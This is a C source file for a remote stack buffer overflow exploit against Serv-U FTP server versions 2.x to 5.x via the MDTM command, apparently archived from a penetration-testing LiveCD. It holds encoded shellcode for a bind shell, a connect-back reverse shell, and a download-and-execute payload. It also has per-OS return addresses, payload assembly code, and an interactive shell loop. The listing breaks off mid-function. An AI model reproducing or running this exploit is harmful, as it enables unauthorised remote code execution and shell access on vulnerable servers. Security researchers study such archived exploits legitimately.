home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / Servu2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  22KB  |  750 lines

  1. /*
  2. *-----------------------------------------------------------------------
  3. * Servu2.c - Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command
  4. * Remote stack buffer overflow exploit
  5. *
  6. * Copyright (C) 2004 HUC All Rights Reserved.
  7. *
  8. * Author   : lion
  9. *          : lion@cnhonker.net
  10. *          : http://www.cnhonker.com
  11. * Date     : 2004-01-07
  12. * Update   : 2004-02-24 Who report this bug to Rhino??? Released v5.0.0.4 patched this bug. 
  13. *          : 2004-02-17 v7.0 Add Download url file and exec shellcode.
  14. *          : 2004-02-04 v6.1 Modified to work with UNIX.
  15. *          : 2004-02-01 v6.0 Change decode and target, change 'jmp(call) ebx' addr to 'pop,pop,ret' addr, can attack winXP and win2003 now.
  16. *          : 2004-01-31 v5.0 Add msvcrt.dll jmp ebx addr, can use on CN/TW/EN/KR/other win2k SP4 if msvcrt.dll not changed.
  17. *          : 2004-01-26 v4.2 Change attack target, 2.x to '>= 2.5i' and '<= 2.5h'.
  18. *          : 2004-01-22 v4.1 Change connectback shellcode in one, change bind shellcode to rebind shellcode.
  19. *          : 2004-01-13 v4.0 Can attack Serv-U 2.x.
  20. *          : 2004-01-11 v3.1 Add "PORT" command, can penetrate through the firewall. (shport > 1024)
  21. *          : 2004-01-09 v3.0 Put shellcode in file parameter, can attack Serv-U 4.1.0.12
  22. *          : 2004-01-08 v2.0 Add connectback shellcode.
  23. *          : 2004-01-07 v1.0 Can attack Serv-U v3.0.0.16 ~ v4.1.0.11
  24. * Tested   : Windows 2000 Server EN/CN
  25. *          :     + Serv-U v3.0.0.16 ~ v5.0.0.3
  26. *          :     + Serv-U v2.5b, v2.5e, v2.5h, v2.5i, v2.5k
  27. *          : Windows XP EN/CN
  28. *          :     + Serv-U v4.x
  29. * Notice   : *** Bug find by bkbll (bkbll@cnhonker.net) 2004-01-07 ***
  30. *          : *** You need a valid account. include anonymous!!! ***
  31. *          : *** Private exploit! Don't distributed it!!! ***
  32. * Complie  :On Windows
  33. *          :     cl Servu2.c
  34. *          :On UNIX
  35. *          :     gcc -o Servu2 Servu2.c -DUNIX
  36. * Usage       :e:\>Servu2
  37. *          :Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V7.0 (2004-01-07)
  38. *          :Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)
  39. *          :Welcome to HUC website http://www.cnhonker.com
  40. *          :Usage:  Servu2  -i <ip> [Options]
  41. *          :                -t      Show All Target Type.
  42. *          :
  43. *          :[Options:]
  44. *          :        -i      Target IP                     Required
  45. *          :        -t      Target Type                   Default: 0
  46. *          :        -u      FTP Username                  Default: ftp
  47. *          :        -p      FTP Password                  Default: ftp@ftp.com
  48. *          :        -f      Port of the FTP Server        Default: 21
  49. *          :        -s      Port of the Shell             Default: 53
  50. *          :        -c      Connect back IP               For connectback shellcode
  51. *          :        -d      Download the URL and Exec     Start with 'http://' or 'ftp://'
  52. *------------------------------------------------------------------------
  53. */
  54.  
  55. #ifndef UNIX
  56. #include <winsock2.h>
  57. #include <windows.h>
  58. #include <stdio.h>
  59. #include <stdlib.h>
  60.  
  61. #pragma comment(lib, "ws2_32")
  62. #else
  63.  #define uint32_t DWORD
  64.  #include <sys/types.h>
  65.  #include <sys/socket.h>
  66.  #include <netdb.h>
  67.  #include <netinet/in.h>
  68.  #include <errno.h>
  69.  
  70.  #define closesocket(val) close(val)
  71.  #define SOCKET unsigned int 
  72.  #define SOCKADDR_IN struct sockaddr_in
  73.  #define BOOL unsigned int
  74.  #define TRUE 1
  75.  #define FALSE 0
  76.  #define INVALID_SOCKET -1
  77.  #define SOCKET_ERROR -1
  78.  #define USHORT unsigned int
  79.  #define Sleep usleep
  80.  #define __leave goto exit_try
  81.  #define _snprintf snprintf
  82.  typedef struct sockaddr* LPSOCKADDR;
  83. #endif
  84.  
  85.  
  86. #ifdef UNIX
  87. int GetLastError() 
  88. {
  89.     return errno;
  90. }
  91.  
  92. int WSAGetLastError() 
  93. {
  94.     return errno;
  95. }
  96. #endif
  97.  
  98. #define MAX_LEN            2048
  99. #define    SEH_OFFSET         48-1
  100. #define JMP_OVER        "\xeb\x06\xeb\x06"
  101. #define    VERSION            "7.0"
  102.  
  103. // for rebind shellcode
  104. #define BIND_OFFSET        113
  105.  
  106. // for connectback shellcode
  107. #define PORT_OFFSET        95
  108. #define IP_OFFSET        88
  109.  
  110. // default parameter
  111. #define SHELLPORT        53
  112. #define FTPPORT         21
  113. #define DEFTYPE         0
  114. #define DEFUSER            "ftp"
  115. #define DEFPASS            "ftp@ftp.com"
  116.  
  117. // for Serv-U 2.x
  118. #define READ_ADDR        "\x01\x01\xfd\x7f"
  119. #define READ_OFFSET        5+14+12
  120.  
  121. struct
  122. {
  123.     DWORD    dwJMP;
  124.     char    *szDescription;
  125. }targets[] =
  126. {
  127.     {0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},    //msvcrt.dll pop,pop,ret addr
  128. //    {0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},        //msvcrt.dll pop,pop,ret addr
  129.     {0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},        //msvcrt.dll pop,pop,ret addr    
  130.  
  131. //    {0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all CN win2000,winxp,win2003
  132.     {0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all CN win2000,winxp,win2003
  133.     {0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all EN win2000,winxp,win2003
  134.     {0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all TW win2000,winxp,win2003
  135. //    {0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},        //jmp ebx addr for all TW win2000
  136.     {0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},        //jmp ebx addr for all KR win2000
  137.  
  138.     {0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},        //jmp esp addr for all CN win2000,winxp,win2003
  139.     {0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},        //jmp esp addr for all CN win2000,winxp,win2003
  140.     {0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},        //jmp esp addr for all TW win2000,winxp,win2003
  141.     {0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},        //jmp esp addr for all TW win2000,winxp,win2003
  142.  
  143.     {0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},        //call esp addr for all KR win2000,winxp,win2003
  144.     {0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},        //call esp addr for all KR win2000,winxp,win2003
  145.     {0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},        //setupapi.dll jmp esp addr
  146.     {0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},        //setupapi.dll jmp esp addr
  147.  
  148. //    {0x7802ba77,"Serv-U test"},         
  149. },v;
  150.  
  151.  
  152. unsigned char    *szSend[4];
  153. unsigned char    szCommand[MAX_LEN];
  154.  
  155. // 28 bytes decode by lion for overwrite eip, don't change this.
  156. unsigned char decode[]=
  157. "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
  158. "\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";
  159.  
  160. // 31 bytes decode by lion for overwrite SEH, don't change this.
  161. unsigned char decode2[]=
  162. "\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
  163. "\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";
  164.  
  165.  
  166. // Shellcode start sign, use for decode, don't change this.
  167. unsigned char sc_start[]=
  168. "lion"; 
  169.  
  170. // Shellcode end sign, use for decode, don't change this.
  171. unsigned char sc_end[]=
  172. "li0n"; 
  173.  
  174. // 344 bytes rebind shellcode by lion for Serv-U (xor with 0x99)
  175. unsigned char sc[]=
  176. "\x70\xBB\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  177. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x5B\x99\x99\x99"
  178. "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
  179. "\x71\xF3\x9E\xC0\x71\x30\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
  180. "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
  181. "\xF3\x9B\x66\xCF\x8D\x12\x41\x5E\x9E\x98\x99\x99\x99\xF3\x9D\x14"
  182. "\x8E\xCB\xF3\x9D\xF1\x66\x66\x99\x99\xCA\x66\xCF\x81\x5E\x9E\x9B"
  183. "\x99\x99\xAC\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCF\x85\xF3\x98\xCA"
  184. "\x66\xCF\xB9\xC9\xC9\xCA\x66\xCF\xBD\x12\x41\xAA\x59\xF1\xFA\xF4"
  185. "\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x8D\xC0\x10\x9D\x16"
  186. "\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10\xC6\xD1\x10"
  187. "\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8\xC8\xF3\x98"
  188. "\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66"
  189. "\xCF\x91\x72\x9E\x09\x09\x09\x09\x09\x09\x09\xCA\x66\xCF\xB1\x66"
  190. "\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF"
  191. "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
  192. "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC7"
  193. "\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44\x12\x9D"
  194. "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x40\x67\x66\x66\x17\xD7\x97\x75"
  195. "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2"
  196. "\x40\x90\x6C\x34\x75\x6B\xCC\x59\x3D\x83\xE9\x5E\x3D\x34\xB7\x70"
  197. "\x7C\xD0\x1F\xD0\x7E\xE0\x5F\xE0";
  198.  
  199. // 304 bytes connectback shellcode by lion for Serv-U (xor with 0x99)
  200. unsigned char cbsc[]=
  201. "\x70\x9C\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  202. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x05\x99\x99\x99"
  203. "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
  204. "\x71\xF3\x9D\xC0\x71\x1A\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
  205. "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
  206. "\xF3\x9B\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
  207. "\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD2\xAA\x59"
  208. "\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x89\xC0"
  209. "\x10\x9D\x16\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10"
  210. "\xC6\xD1\x10\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8"
  211. "\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66"
  212. "\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xEC"
  213. "\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF\xB9\x9A\x6C\x72\x9E\x09"
  214. "\x09\x09\x09\x09\x09\x09\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96"
  215. "\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86"
  216. "\xEC\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A"
  217. "\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x6F\x67\x66\x66\x17"
  218. "\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52"
  219. "\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0\x99";
  220.  
  221. // 194 bytes download url file and exec shellcode by lion (xor with 0x99)
  222. // Tested on Serv-U 3.x/4.x/5.x
  223. unsigned char dusc[]=
  224. "\x70\x3D\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  225. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\xDD\x99\x99\x99"
  226. "\x7B\x60\xF1\xF6\xF7\x99\x99\xF1\xEC\xEB\xF5\xF4\xCD\x66\x8F\x12"
  227. "\x71\x71\xB7\x99\x99\x99\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCF"
  228. "\x9D\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
  229. "\xAA\x59\xC9\xC9\xCA\xCE\xC9\x66\xCF\x89\x12\x45\xC9\xCA\x66\xCF"
  230. "\x91\x66\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF"
  231. "\x12\xEF\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27"
  232. "\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC"
  233. "\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44"
  234. "\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\xCE\x66\x66\x66\x17\xD7"
  235. "\x97\x75\x58\xE0\x7C\x21\x01\x67\x13\x97\xE7\x41\x7B\xEA\xAF\x83"
  236. "\xB6\xE9";
  237.  
  238. // exec file url addr for download url file and exec shellcode
  239. unsigned char downloadurl[255]= "";
  240.  
  241.  
  242. void showtype()
  243. {
  244.     int i;
  245. //    usage(p);
  246.     printf( "[Type]:\n");
  247.     for(i=0;i<sizeof(targets)/sizeof(v);i++)
  248.     {
  249.         printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
  250.     }
  251. }
  252.  
  253. void usage(char *p)
  254. {
  255.     printf( "Usage:\t%s\t-i <ip> [Options]\n"
  256.         "\t\t-t\tShow All Target Type.\n\n"
  257.         "[Options:]\n"
  258.         "\t-i\tTarget IP                     Required\n"
  259.         "\t-t\tTarget Type                   Default: %d\n"
  260.         "\t-u\tFTP Username                  Default: %s\n"
  261.         "\t-p\tFTP Password                  Default: %s\n"
  262.         "\t-f\tPort of the FTP Server        Default: %d\n"
  263.         "\t-s\tPort of the Shell             Default: %d\n"
  264.         "\t-c\tConnect back IP               For connectback shellcode\n"
  265.         "\t-d\tDownload the URL and Exec     Start with 'http://' or 'ftp://'\n\n"
  266.         , p, DEFTYPE, DEFUSER, DEFPASS, FTPPORT, SHELLPORT);    
  267.  
  268.     //showtype();
  269. }
  270.  
  271. /* ripped from TESO code and modifed by ey4s for win32 */
  272. void shell (int sock)
  273. {
  274.     int     l;
  275.     char    buf[512];
  276.     struct    timeval time;
  277.     unsigned long    ul[2];
  278.  
  279.     time.tv_sec = 1;
  280.     time.tv_usec = 0;
  281.  
  282.     while (1)
  283.     {
  284.         ul[0] = 1;
  285.         ul[1] = sock;
  286.  
  287.         l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  288.         if(l == 1)
  289.         {
  290.             l = recv (sock, buf, sizeof (buf), 0);
  291.             if (l <= 0)
  292.             {
  293.                 printf ("[-] Connection closed.\n");
  294.                 return;
  295.             }
  296.             l = write (1, buf, l);
  297.             if (l <= 0)
  298.             {
  299.                 printf ("[-] Connection closed.\n");
  300.                 return;
  301.             }
  302.         }
  303.         else
  304.         {
  305.             l = read (0, buf, sizeof (buf));
  306.             if (l <= 0)
  307.             {
  308.                 printf("[-] Connection closed.\n");
  309.                 return;
  310.             }
  311.             l = send(sock, buf, l, 0);
  312.             if (l <= 0)
  313.             {
  314.                 printf("[-] Connection closed.\n");
  315.                 return;
  316.             }
  317.         }
  318.     }
  319. }
  320.  
  321. int main(int argc, char **argv)
  322. {
  323.     struct    sockaddr_in sa, server, client;
  324. #ifndef UNIX
  325.     WSADATA    wsd;
  326. #endif
  327.     SOCKET    s, s2, s3;
  328.     int    iErr, ret, len;
  329.     char    szRecvBuff[MAX_LEN];
  330.     int    i,j;
  331.     int    iType =DEFTYPE, iPort=FTPPORT;
  332.     char    *ip=NULL, *pUser=DEFUSER, *pPass=DEFPASS, *cbHost=NULL, *url;
  333.     char    user[128], pass[128];
  334.     BOOL    bCb=FALSE,bUrl=FALSE, bLocal=TRUE, b2x=FALSE;
  335.     unsigned short    shport=SHELLPORT, shport2=0;
  336.     unsigned long    cbip;
  337.     unsigned int    timeout=5000, Reuse;
  338.     char    penetrate[255],cbHost2[20];
  339.     
  340.     printf( "Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V%s (2004-01-07)\r\n"
  341.         "Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)\r\n"
  342.         "Welcome to HUC website http://www.cnhonker.com\r\n\n"
  343.              , VERSION);
  344.  
  345.     if(argc < 2)
  346.     {
  347.         usage(argv[0]);
  348.         return 1;
  349.     }
  350.     else if(argc == 2 && argv[1][1] == 't')
  351.     {
  352.         showtype();
  353.         return 1;
  354.     }
  355.  
  356.     for(i=1;i<argc;i+=2)
  357.     {
  358.         if(strlen(argv[i]) != 2)
  359.         {
  360.             usage(argv[0]);
  361.             return -1;
  362.         }
  363.         // check parameter
  364.         if(i == argc-1)
  365.         {
  366.             usage(argv[0]);
  367.             return -1;
  368.         }
  369.         switch(argv[i][1])
  370.         {
  371.             case 'i':
  372.                 ip=argv[i+1];
  373.                 break;
  374.             case 't':
  375.                 iType = atoi(argv[i+1]);
  376.                 break;
  377.             case 'f':
  378.                 iPort=atoi(argv[i+1]);
  379.                 break;
  380.             case 'p':
  381.                 pPass = argv[i+1];
  382.                 break;
  383.             case 'u':
  384.                 pUser=argv[i+1];
  385.                 break;
  386.             case 's':
  387.                 shport=atoi(argv[i+1]);
  388.                 break;
  389.             case 'c':
  390.                 cbHost=argv[i+1];
  391.                 bCb=TRUE;
  392.                 break;
  393.             case 'd':
  394.                 url = argv[i+1];
  395.                 bUrl=TRUE;
  396.                 break;
  397.                 
  398.         }
  399.     }
  400.  
  401.     if((!ip) || (!user) || (!pass))
  402.     {
  403.         usage(argv[0]);
  404.         printf("[-] Invalid parameter.\n");
  405.         return -1;
  406.     }
  407.  
  408.     if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
  409.     {
  410.         usage(argv[0]);
  411.         printf("[-] Invalid type.\n");
  412.         return -1;
  413.     }
  414.  
  415.     if(iPort <1 || iPort >65535 || shport <1 || shport > 65535)
  416.     {
  417.         usage(argv[0]);
  418.         printf("[-] Invalid port.\n");
  419.         return -1;
  420.     }
  421.  
  422.     if(bUrl)
  423.     {
  424.         if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 255)
  425.         {
  426.             usage(argv[0]);
  427.             printf("[-] Invalid url. Must start with 'http://','ftp://' and <255 bytes.\n");
  428.             return -1;                
  429.         }
  430.     }
  431.     
  432.     if(strstr(targets[iType].szDescription, "2.x"))
  433.     {
  434.         b2x = TRUE;
  435.         printf("[*] Attack Target is Serv-U 2.x.\r\n");
  436.     }
  437.     else
  438.     {
  439.         printf("[*] Attack Target is Serv-U 3.x/4.x/5.x.\r\n");
  440.     }
  441.     
  442.     _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
  443.     user[sizeof(user)-1]='\0';
  444.     _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
  445.     pass[sizeof(pass)-1]='\0';
  446.     szSend[0] = user;    //user
  447.     szSend[1] = pass;    //pass    
  448.     szSend[2] = penetrate;    //pentrate
  449.     szSend[3] = szCommand;    //shellcode
  450.     
  451.     // Penetrate through the firewall.
  452.     if(bCb && shport > 1024)
  453.     {
  454.         strncpy(cbHost2, cbHost, 20);
  455.         for(i=0;i<strlen(cbHost); i++)
  456.         {
  457.             if(cbHost[i] == '.')
  458.                 cbHost2[i] = ',';
  459.         }
  460.         
  461.         sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);
  462.  
  463.         //printf("%s", penetrate);
  464.     }
  465.     else
  466.     {
  467.         sprintf(penetrate,"TYPE I\r\n");        
  468.     }
  469.  
  470.     // fill the "MDTM" command
  471.     strcpy(szCommand, "MDTM 20031111111111+");
  472.  
  473.     // fill the egg
  474.     for(i=0; i<SEH_OFFSET; i++)
  475.     {
  476.         strcat(szCommand, "\x90");
  477.     }
  478.  
  479.     // ret addr
  480.     if(b2x)
  481.     {
  482.  
  483.         // fill the egg
  484.         if(strstr(targets[iType].szDescription, "<"))
  485.         {
  486.             j = 8;
  487.         }
  488.         else
  489.         {
  490.             j = 4;
  491.         }
  492.         for(i=0; i<j; i++)
  493.         {
  494.             strcat(szCommand, "\x90");
  495.         }
  496.         
  497.         memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  498.         
  499.         memcpy(&szCommand[READ_OFFSET], &READ_ADDR, 4);
  500.         
  501.         // fill the decode
  502.         strcat(szCommand, decode);
  503.     }
  504.     else
  505.     {
  506.         
  507.         // fill the seh
  508.         for(i=0; i<0x10*1; i+=8)
  509.         //for(i=0; i<1; i++)
  510.         {
  511.             memcpy(&szCommand[strlen(szCommand)], &JMP_OVER, 4);
  512.             memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  513.         }
  514.     
  515.         // fill the decode
  516.         strcat(szCommand, decode2);    
  517.     }
  518.  
  519.     // fill the space
  520.     strcat(szCommand, " ");
  521.  
  522.     // fill the egg
  523.     for(i=0; i<0x10; i++)
  524.     {
  525.         strcat(szCommand, "\x90");
  526.     }
  527.  
  528.     // fill the shellcode start sign
  529.     strcat(szCommand, sc_start);
  530.  
  531.     // fill the shellcode
  532.         if(bCb)
  533.     {
  534.         // connectback shellcode
  535.         shport2 = htons(shport)^(u_short)0x9999;
  536.         cbip = inet_addr(cbHost)^0x99999999;
  537.         memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
  538.         memcpy(&cbsc[IP_OFFSET], &cbip, 4);
  539.         strcat(szCommand, cbsc);        
  540.     }
  541.     else
  542.     if(bUrl)
  543.     {
  544.         memset(downloadurl, 0, sizeof(downloadurl));
  545.  
  546.         // download url exec shellcode
  547.         for(i=0;i<strlen(url);i++)
  548.         {
  549.             downloadurl[i] = url[i] ^ 0x99;
  550.         }
  551.         
  552.         downloadurl[i] ^= 0x99;
  553.         strcat(szCommand, dusc);
  554.         strcat(szCommand, downloadurl);        
  555.     } 
  556.         else 
  557.     {
  558.         // rebind shellcode
  559.         shport2 = htons(shport)^(u_short)0x9999;
  560.         memcpy(&sc[BIND_OFFSET], &shport2, 2);
  561.         strcat(szCommand, sc);
  562.     }
  563.  
  564.     // fill the shellcode end sign
  565.     strcat(szCommand, sc_end);
  566.  
  567.     // send end
  568.     strcat(szCommand, "\r\n");
  569.  
  570.     if(strlen(szCommand) >= sizeof(szCommand))
  571.     {
  572.         printf("[-] stack buffer overflow.\n");
  573.         return -1;
  574.     }
  575.     
  576.     //printf("send size %d:%s", strlen(szCommand), szCommand);
  577.     //printf("buffsize %d\r\n", strlen(szCommand)-5-2);
  578.     
  579. #ifndef UNIX
  580.     __try
  581. #endif
  582.     {
  583.  
  584. #ifndef UNIX
  585.         if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  586.         {
  587.             printf("[-] WSAStartup error:%d\n", WSAGetLastError());
  588.             __leave;
  589.         }
  590. #endif
  591.         s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  592.         if(s == INVALID_SOCKET)
  593.         {
  594.             printf("[-] Create socket failed:%d",GetLastError());
  595.             __leave;
  596.         }
  597.  
  598.         sa.sin_family=AF_INET;
  599.         sa.sin_port=htons((USHORT)iPort);
  600.  
  601. #ifndef UNIX
  602.         sa.sin_addr.S_un.S_addr=inet_addr(ip);
  603. #else
  604.         sa.sin_addr.s_addr=inet_addr(ip);
  605. #endif
  606.         setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  607.         iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
  608.         if(iErr == SOCKET_ERROR)
  609.         {
  610.             printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
  611.             __leave;
  612.         }
  613.         printf("[+] Connect to %s:%d success.\n", ip, iPort);
  614.         
  615.         if(bCb)
  616.         {
  617.             Sleep(500);
  618.             s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  619.  
  620.             server.sin_family=AF_INET;
  621.  
  622. #ifndef UNIX
  623.             server.sin_addr.S_un.S_addr=inet_addr(cbHost);
  624.             //server.sin_addr.s_addr=INADDR_ANY; 
  625. #else
  626.             server.sin_addr.s_addr=inet_addr(cbHost);
  627. #endif            
  628.             
  629.             server.sin_port=htons((unsigned short)shport);
  630.  
  631.             setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  632.  
  633.             Reuse = 1; 
  634.             setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));
  635.  
  636.             if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
  637.             {
  638.                 printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
  639.                 printf("[-] You must run nc get the shell.\n");
  640.                 bLocal = FALSE;
  641.                 //closesocket(s2);
  642.                 //__leave;
  643.             }
  644.             else
  645.             {    
  646.                 printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
  647.                 listen(s2, 1); 
  648.             }
  649.         }
  650.         
  651.         for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
  652.         {
  653.             memset(szRecvBuff, 0, sizeof(szRecvBuff));
  654.             iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
  655.             if(iErr == SOCKET_ERROR)
  656.             {
  657.                 printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
  658.                 __leave;
  659.             }
  660.             printf("[+] Recv: %s", szRecvBuff);
  661.             
  662.             if(szRecvBuff[0] == '5')
  663.             {
  664.                 printf("[-] Server return a error Message.\r\n");
  665.                 __leave;
  666.             }
  667.  
  668.             iErr = send(s, szSend[i], strlen(szSend[i]),0);
  669.             if(iErr == SOCKET_ERROR)
  670.             {
  671.                 printf("[-] Send buffer error:%d.\n", WSAGetLastError());
  672.                 __leave;
  673.             }
  674.  
  675.             if(i==sizeof(szSend)/sizeof(szSend[0])-1)
  676.                 printf("[+] Send shellcode %d bytes.\n", iErr);
  677.             else
  678.                 printf("[+] Send: %s", szSend[i]);
  679.         }
  680.  
  681.         if(bUrl)
  682.         {
  683.             printf("[+] Target Download the file and exec: %s\r\n", url);
  684.             printf("[+] Success? Maybe!\r\n");
  685.         }
  686.         else
  687.         {
  688.             printf("[+] If you don't have a shell it didn't work.\n");
  689.  
  690.             if(bCb)
  691.             {
  692.                 if(bLocal)
  693.                 {
  694.                     printf("[+] Wait for shell...\n");
  695.             
  696.                     len = sizeof(client);
  697.                     s3 = accept(s2, (struct sockaddr*)&client, &len); 
  698.                     if(s3 != INVALID_SOCKET) 
  699.                     { 
  700.                         printf("[+] Exploit success! Good luck! :)\n");
  701.                         printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  702.                         shell(s3);
  703.                     }
  704.                 }    
  705.             }
  706.             else 
  707.             {
  708.                 printf("[+] Connect to shell...\n");
  709.             
  710.                 Sleep(1000);
  711.                 s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
